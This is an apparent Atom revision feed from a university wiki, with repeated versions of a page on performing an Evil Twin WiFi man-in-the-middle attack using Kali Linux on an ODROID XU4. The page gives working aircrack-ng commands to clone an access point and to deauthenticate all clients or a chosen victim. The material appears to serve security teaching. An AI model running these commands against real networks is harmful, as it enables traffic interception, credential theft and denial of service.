If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:&lt;br /&gt;
 sudo aireplay-ng --test wlan0&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.odroid.com/odroid-xu4/odroid-xu4&lt;br /&gt;
* https://www.offensive-security.com/kali-linux-arm-images/&lt;br /&gt;
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html &lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10481</id>
		<title>Evil Twin Attack via Kali on Odroid XU4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10481"/>
		<updated>2023-01-01T18:44:22Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: Updated Hardware requirements.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Evil Twin (ET) Attack is a type of Machine-in-the-Middle (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the &amp;quot;evil twin&amp;quot; AP.&lt;br /&gt;
&lt;br /&gt;
The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim&#039;s data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.&lt;br /&gt;
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.&lt;br /&gt;
&lt;br /&gt;
The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim&#039;s device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the &amp;quot;best&amp;quot; available access point.&lt;br /&gt;
&lt;br /&gt;
If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point&#039;s password with their customer base. But even a private WiFi hotspot&#039;s password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements/Hardware==&lt;br /&gt;
&lt;br /&gt;
Operating system: [Kali Linux ODROID-XU3[https://www.offensive-security.com/kali-linux-arm-images/]]&lt;br /&gt;
&lt;br /&gt;
Hardware: &lt;br /&gt;
* Exisiting WiFi hotspot for impersonation&lt;br /&gt;
* Client connected to WiFi hotspot&lt;br /&gt;
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)&lt;br /&gt;
* eMMC (min. 8GB)&lt;br /&gt;
* microSD (min. 8GB) &lt;br /&gt;
* microSD to USB adapter&lt;br /&gt;
* Mouse&lt;br /&gt;
* Keyboard&lt;br /&gt;
* Monitor (via HDMI)&lt;br /&gt;
* Two WiFi adapters (e.g. Alfa AWUS036EAC)&lt;br /&gt;
&lt;br /&gt;
== Installing Kali on ODROID XU4 ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Preparation ===&lt;br /&gt;
* Insert the microSD card into you PC (if required use the adapter)&lt;br /&gt;
* Format the microSD card with e.g. [&amp;quot;SD Fortmatter&amp;quot; [https://sd-card-formatter.de.uptodown.com/windows]]. If you use &amp;quot;SD Formatter&amp;quot;: don&#039;t forget to check &amp;quot;Format Size Adjustment&amp;quot; in &amp;quot;Options&amp;quot;.&lt;br /&gt;
* Add the OS to the microSD card. Required: a program to create bootable devices, e.g. [Win32 Disk Imager for Windows [https://win32diskimager.download/]].&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installing ===&lt;br /&gt;
For the following steps you might need the [manual of ODROID XU4 [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf]] to see where the mentioned parts are located.&lt;br /&gt;
* Stick the eMMC to the ODROID XU4 &lt;br /&gt;
* Switch the Boot Mode Selector to &amp;quot;microSD&amp;quot;&lt;br /&gt;
* Put in the microSD card&lt;br /&gt;
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.&lt;br /&gt;
* After that: attach the power supply.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If all steps were performed correctly:&lt;br /&gt;
* The fan of the ODROID XU4 starts&lt;br /&gt;
* The blue LED should be on (solid light): bootloader running.&lt;br /&gt;
* Monitor should display booting. &lt;br /&gt;
This can take a while.&lt;br /&gt;
&lt;br /&gt;
 Username: kali&lt;br /&gt;
 Password: kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
States of the ODROID XU4 LED:&lt;br /&gt;
* red LED: is on when power is available&lt;br /&gt;
* blue LED (solid): when the bootloader is running&lt;br /&gt;
* blue LED (blinks slowly, like a heartbeat): kernel is running&lt;br /&gt;
* blue LED (blinks fast): kernel is in panic mode&lt;br /&gt;
&lt;br /&gt;
== Performing Evil Twin on ODROID XU4 ==&lt;br /&gt;
&#039;&#039;&#039;First, add the WiFi adapter to the XU4, reboot and check if it is recognized:&#039;&#039;&#039;&lt;br /&gt;
 sudo reboot&lt;br /&gt;
 sudo ifconfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;See the available interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo iwconfig &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check status of wireless interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Start monitor mode on the available wireless interface&#039;&#039;&#039;.&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
Cue: Output has to contain &amp;quot;monitor mode enabled&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Eventually kill processes and execute command again&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng check kill&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Capture packets&#039;&#039;&#039;&lt;br /&gt;
 sudo airodump-ng &amp;lt;interface&amp;gt; -c &amp;lt;channel&amp;gt;&lt;br /&gt;
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Creating the twin&#039;&#039;&#039;&lt;br /&gt;
 sudo airbase-ng -a &amp;lt;BSSID&amp;gt; --essid &amp;lt;ESSID&amp;gt; -c &amp;lt;channel&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Telling the Client to get lost&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Disconnect all Clients:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -a &amp;lt;BSSID&amp;gt; &amp;lt;interface&amp;gt;--ignore-negative-one&lt;br /&gt;
The &amp;quot;0&amp;quot; indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.&lt;br /&gt;
But this command sometimes doesn&#039;t work because it could produce a broadcast storm, so some WiFi routers filter them.&lt;br /&gt;
&lt;br /&gt;
Disconnect a specific client:&lt;br /&gt;
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:&lt;br /&gt;
 sudo airodump-ng wlan0 --bssid &amp;lt;routers BSSID&amp;gt; -c &amp;lt;routers channel&amp;gt;&lt;br /&gt;
Then execute the deauth-command:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -c &amp;lt;devices MAC address&amp;gt; -a &amp;lt;routers MAC address&amp;gt; interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error handling&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:&lt;br /&gt;
 sudo aireplay-ng --test wlan0&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.odroid.com/odroid-xu4/odroid-xu4&lt;br /&gt;
* https://www.offensive-security.com/kali-linux-arm-images/&lt;br /&gt;
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html &lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10480</id>
		<title>Evil Twin Attack via Kali on Odroid XU4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10480"/>
		<updated>2023-01-01T18:38:49Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: Updated summary to give a more in-depth overview over the attack and its implications. Added a paragraph detailing MitM.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Evil Twin (ET) Attack is a type of Machine-in-the-Middle (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the &amp;quot;evil twin&amp;quot; AP.&lt;br /&gt;
&lt;br /&gt;
The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim&#039;s data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.&lt;br /&gt;
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.&lt;br /&gt;
&lt;br /&gt;
The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim&#039;s device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the &amp;quot;best&amp;quot; available access point.&lt;br /&gt;
&lt;br /&gt;
If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point&#039;s password with their customer base. But even a private WiFi hotspot&#039;s password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements/Hardware==&lt;br /&gt;
&lt;br /&gt;
Operating system: [Kali Linux ODROID-XU3[https://www.offensive-security.com/kali-linux-arm-images/]]&lt;br /&gt;
&lt;br /&gt;
Hardware: &lt;br /&gt;
* WiFi&lt;br /&gt;
* Client connected to WiFi&lt;br /&gt;
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)&lt;br /&gt;
* eMMC (min. 8GB)&lt;br /&gt;
* microSD (min. 8GB) &lt;br /&gt;
* microSD to USB adapter&lt;br /&gt;
* Mouse&lt;br /&gt;
* Keyboard&lt;br /&gt;
* Monitor (via HDMI)&lt;br /&gt;
* WiFi adapter (e.g. Alfa AWUS036EAC)&lt;br /&gt;
&lt;br /&gt;
== Installing Kali on ODROID XU4 ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Preparation ===&lt;br /&gt;
* Insert the microSD card into you PC (if required use the adapter)&lt;br /&gt;
* Format the microSD card with e.g. [&amp;quot;SD Fortmatter&amp;quot; [https://sd-card-formatter.de.uptodown.com/windows]]. If you use &amp;quot;SD Formatter&amp;quot;: don&#039;t forget to check &amp;quot;Format Size Adjustment&amp;quot; in &amp;quot;Options&amp;quot;.&lt;br /&gt;
* Add the OS to the microSD card. Required: a program to create bootable devices, e.g. [Win32 Disk Imager for Windows [https://win32diskimager.download/]].&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installing ===&lt;br /&gt;
For the following steps you might need the [manual of ODROID XU4 [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf]] to see where the mentioned parts are located.&lt;br /&gt;
* Stick the eMMC to the ODROID XU4 &lt;br /&gt;
* Switch the Boot Mode Selector to &amp;quot;microSD&amp;quot;&lt;br /&gt;
* Put in the microSD card&lt;br /&gt;
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.&lt;br /&gt;
* After that: attach the power supply.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If all steps were performed correctly:&lt;br /&gt;
* The fan of the ODROID XU4 starts&lt;br /&gt;
* The blue LED should be on (solid light): bootloader running.&lt;br /&gt;
* Monitor should display booting. &lt;br /&gt;
This can take a while.&lt;br /&gt;
&lt;br /&gt;
 Username: kali&lt;br /&gt;
 Password: kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
States of the ODROID XU4 LED:&lt;br /&gt;
* red LED: is on when power is available&lt;br /&gt;
* blue LED (solid): when the bootloader is running&lt;br /&gt;
* blue LED (blinks slowly, like a heartbeat): kernel is running&lt;br /&gt;
* blue LED (blinks fast): kernel is in panic mode&lt;br /&gt;
&lt;br /&gt;
== Performing Evil Twin on ODROID XU4 ==&lt;br /&gt;
&#039;&#039;&#039;First, add the WiFi adapter to the XU4, reboot and check if it is recognized:&#039;&#039;&#039;&lt;br /&gt;
 sudo reboot&lt;br /&gt;
 sudo ifconfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;See the available interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo iwconfig &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check status of wireless interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Start monitor mode on the available wireless interface&#039;&#039;&#039;.&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
Cue: Output has to contain &amp;quot;monitor mode enabled&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Eventually kill processes and execute command again&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng check kill&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Capture packets&#039;&#039;&#039;&lt;br /&gt;
 sudo airodump-ng &amp;lt;interface&amp;gt; -c &amp;lt;channel&amp;gt;&lt;br /&gt;
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Creating the twin&#039;&#039;&#039;&lt;br /&gt;
 sudo airbase-ng -a &amp;lt;BSSID&amp;gt; --essid &amp;lt;ESSID&amp;gt; -c &amp;lt;channel&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Telling the Client to get lost&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Disconnect all Clients:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -a &amp;lt;BSSID&amp;gt; &amp;lt;interface&amp;gt;--ignore-negative-one&lt;br /&gt;
The &amp;quot;0&amp;quot; indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.&lt;br /&gt;
But this command sometimes doesn&#039;t work because it could produce a broadcast storm, so some WiFi routers filter them.&lt;br /&gt;
&lt;br /&gt;
Disconnect a specific client:&lt;br /&gt;
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:&lt;br /&gt;
 sudo airodump-ng wlan0 --bssid &amp;lt;routers BSSID&amp;gt; -c &amp;lt;routers channel&amp;gt;&lt;br /&gt;
Then execute the deauth-command:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -c &amp;lt;devices MAC address&amp;gt; -a &amp;lt;routers MAC address&amp;gt; interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error handling&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:&lt;br /&gt;
 sudo aireplay-ng --test wlan0&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.odroid.com/odroid-xu4/odroid-xu4&lt;br /&gt;
* https://www.offensive-security.com/kali-linux-arm-images/&lt;br /&gt;
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html &lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
</feed>